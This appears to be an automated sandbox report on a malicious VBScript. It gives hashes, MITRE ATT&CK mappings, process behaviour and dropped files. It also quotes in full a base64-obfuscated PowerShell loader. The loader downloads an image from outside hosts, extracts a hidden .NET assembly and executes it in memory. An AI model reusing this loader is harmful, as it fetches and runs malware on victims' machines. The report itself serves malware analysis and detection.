f1c4511b233b4db0e962affaef1b5c40857090ae742d86bf7ed81d6e2f0670eb

General

Target

f1c4511b233b4db0e962affaef1b5c40857090ae742d86bf7ed81d6e2f0670eb.vbs
Size

210KB
MD5

baa04801e19bf9c54632466ba0173b68
SHA1

0c93e65e1842cde8b6eee58981a066413e2b6677
SHA256

f1c4511b233b4db0e962affaef1b5c40857090ae742d86bf7ed81d6e2f0670eb
SHA512

3c97d629e86117976a801a92bc807504854604a4494684b5117d40b7154bc2d602da9940404f01201ab711fa48344c3d79d84fe5741ee5537054aa21a07a33a7
SSDEEP

3072:6knVmI3b0mgfmWu+He9VOv5iG5sVhQ30Wk+70wgA11:6knV4e9VOvp

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	1440	powershell.exe
7	1440	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1440	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1440	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1440	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1956 wrote to memory of 1440	1956	WScript.exe	31
PID 1956 wrote to memory of 1440	1956	WScript.exe	31
PID 1956 wrote to memory of 1440	1956	WScript.exe	31

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\f1c4511b233b4db0e962affaef1b5c40857090ae742d86bf7ed81d6e2f0670eb.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABvAHIAaQBnAGkAbgBhAGwAVABlAHgAdAAgAD0AIAAnAHQAeAB0AC4ANQA1ADUAZQBzAGEAYgBwAHAAcABwAHAAcABwAGMAYwBjAG8AbwBvAG8AbwBjAHMAaQBzAC8AOQAyADIALgA1ADkALgAzAC4AMgA5ADEALwAvADoAcAB0AHQAaAAnADsAJAByAGUAcwB0AG8AcgBlAGQAVABlAHgAdAAgAD0AIAAkAG8AcgBpAGcAaQBuAGEAbABUAGUAeAB0ACAALQByAGUAcABsAGEAYwBlACAAJwAjACcALAAgACcAdAAnADsAJABpAG0AYQBnAGUAVQByAGwAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AcgBlAHMALgBjAGwAbwB1AGQAaQBuAGEAcgB5AC4AYwBvAG0ALwBkAGEAeAB3AHUAYQA2ADMAeQAvAGkAbQBhAGcAZQAvAHUAcABsAG8AYQBkAC8AdgAxADcAMwA3ADYAOQA2ADEANwAxAC8AaABlAGsAZQAyAHAAbQB0AGUAdQB3ADgAcwBxAHMAcABsAGgAawBsAC4AagBwAGcAJwA7ACQAdwBlAGIAQwBsAGkAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAD0AIAAkAHcAZQBiAEMAbABpAGUAbgB0AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAGkAbQBhAGcAZQBVAHIAbAApADsAJABpAG0AYQBnAGUAVABlAHgAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAKQA7ACQAcwB0AGEAcgB0AEYAbABhAGcAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBTAFQAQQBSAFQAPgA+ACcAOwAkAGUAbgBkAEYAbABhAGcAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AJwA7ACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwAkAHMAdABhAHIAdABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABlAG4AZABJAG4AZABlAHgAIAAtAGcAdAAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA7ACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgACQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAIAA9ACAAJABlAG4AZABJAG4AZABlAHgAIAAtACAAJABzAHQAYQByAHQASQBuAGQAZQB4ADsAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaAApADsAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACkAOwAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwApADsAJAB0AHkAcABlACAAPQAgAFsAQwBsAGEAcwBzAEwAaQBiAHIAYQByAHkAMQAuAEgAbwBtAGUAXQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBtAGEAaQBuACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBdACAAQAAoACQAcgBlAHMAdABvAHIAZQBkAFQAZQB4AHQALAAnAGYAYQBsAHMAZQAnACwAJwBNAFMAQgB1AGkAbABkACcALAAnAGYAYQBsAHMAZQAnACkAKQA=')) | Invoke-Expression"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1440

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\CabF27C.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarF28E.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
memory/1440-4-0x000007FEF611E000-0x000007FEF611F000-memory.dmp

Filesize
4KB

Download
memory/1440-5-0x000000001B7A0000-0x000000001BA82000-memory.dmp

Filesize
2.9MB

Download
memory/1440-6-0x0000000001E10000-0x0000000001E18000-memory.dmp

Filesize
32KB

Download
memory/1440-8-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

Filesize
9.6MB

Download
memory/1440-7-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

Filesize
9.6MB

Download
memory/1440-43-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

Filesize
9.6MB

Download

Analysis

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